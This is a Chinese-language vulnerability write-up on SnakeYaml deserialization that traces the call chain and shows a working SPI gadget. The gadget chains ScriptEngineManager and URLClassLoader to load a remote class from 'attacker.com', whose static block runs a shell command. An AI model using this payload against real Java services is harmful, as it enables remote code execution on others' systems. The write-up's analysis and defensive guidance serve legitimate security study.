SnakeYaml反序列化
字数 1520 2025-08-05 08:19:32
SnakeYaml反序列化漏洞分析与利用
1. 简介
SnakeYaml是Java用于解析Yaml(Yet Another Markup Language)格式数据的类库,它提供了:
dump方法:将Java对象转为Yaml格式字符串load方法:将Yaml字符串转为Java对象
在对象与字符串转换的实现中,SnakeYaml使用了自定义的序列化/反序列化机制,这可能导致安全漏洞。
2. 漏洞利用
2.1 环境准备
使用Maven导入SnakeYaml依赖:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
2.2 JNDI注入示例
一个简单的JNDI注入利用示例:
String yamlPayload = "!!javax.management.remote.rmi.RMIConnectorServer [...]";
Yaml yaml = new Yaml();
Object obj = yaml.load(yamlPayload);
3. 漏洞分析
3.1 反序列化流程
- 从
org.yaml.snakeyaml.Yaml#load开始 - 实例化
StreamReader对象 - 调用
getSingleData方法 - 调用
BaseConstructor#constructDocument方法 - 通过
Node对象的getTag方法获取Tag对象 - 调用
getClassName方法获取YAML字符串中的类名 Constructor#getClassForName方法获取类的类对象
3.2 关键调用链
在Constructor$ConstructMapping#construct中:
- 调用父类
BaseConstructor#newInstance方法 - 通过目标类的Class获取无参构造器
- 调用
newInstance方法返回实例对象 - 在
Constructor$ConstructMapping#constructJavaBean2ndStep中,property.set是关键
3.3 属性设置机制
getWriteMethod方法会返回属性对应的setter方法的Method对象,通过调用Method对象的invoke方法实现调用JavaBean的setter方法。
调用栈示例:
<init>:66, MethodProperty (org.yaml.snakeyaml.introspector)
getPropertiesMap:88, PropertyUtils (org.yaml.snakeyaml.introspector)
getProperty:152, PropertyUtils (org.yaml.snakeyaml.introspector)
...
4. SPI机制利用
4.1 SPI机制简介
Java SPI(Service Provider Interface)机制是服务提供发现机制:
- 服务提供者在
META-INF/services/目录创建以服务接口命名的文件 - 文件内容为接口的具体实现类
- 客户端程序通过查找这些配置文件加载实现类
4.2 利用SPI与ScriptEngineManager
4.2.1 恶意类构造
编写恶意类实现ScriptEngineFactory接口,在静态代码块中添加命令执行代码:
public class Poc implements ScriptEngineFactory {
static {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
// 必须实现的其他接口方法...
}
4.2.2 配置文件设置
在Web服务根目录创建:
META-INF/services/javax.script.ScriptEngineFactory文件- 文件内容为恶意类名
Poc
4.2.3 Payload构造
String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!java.net.URL [\"http://attacker.com/\"]]]]";
4.2.4 执行流程
- 从右向左解析Payload:
- 先调用
java.net.URL构造器 - 然后传入
java.net.URLClassLoader构造器 - 最后调用
javax.script.ScriptEngineManager构造器
- 先调用
- 在
java.util.ServiceLoader#nextService中通过Class.forName加载远程类 - 调用
newInstance方法时执行静态代码块中的命令
5. 防御措施
- 升级到最新版本的SnakeYaml
- 避免反序列化不可信的YAML数据
- 使用安全配置选项限制反序列化的类
- 实施Java安全管理器策略
6. 参考
- Java SnakeYaml反序列化漏洞
- Java常用机制 - SPI机制详解
- SnakeYaml官方文档和安全公告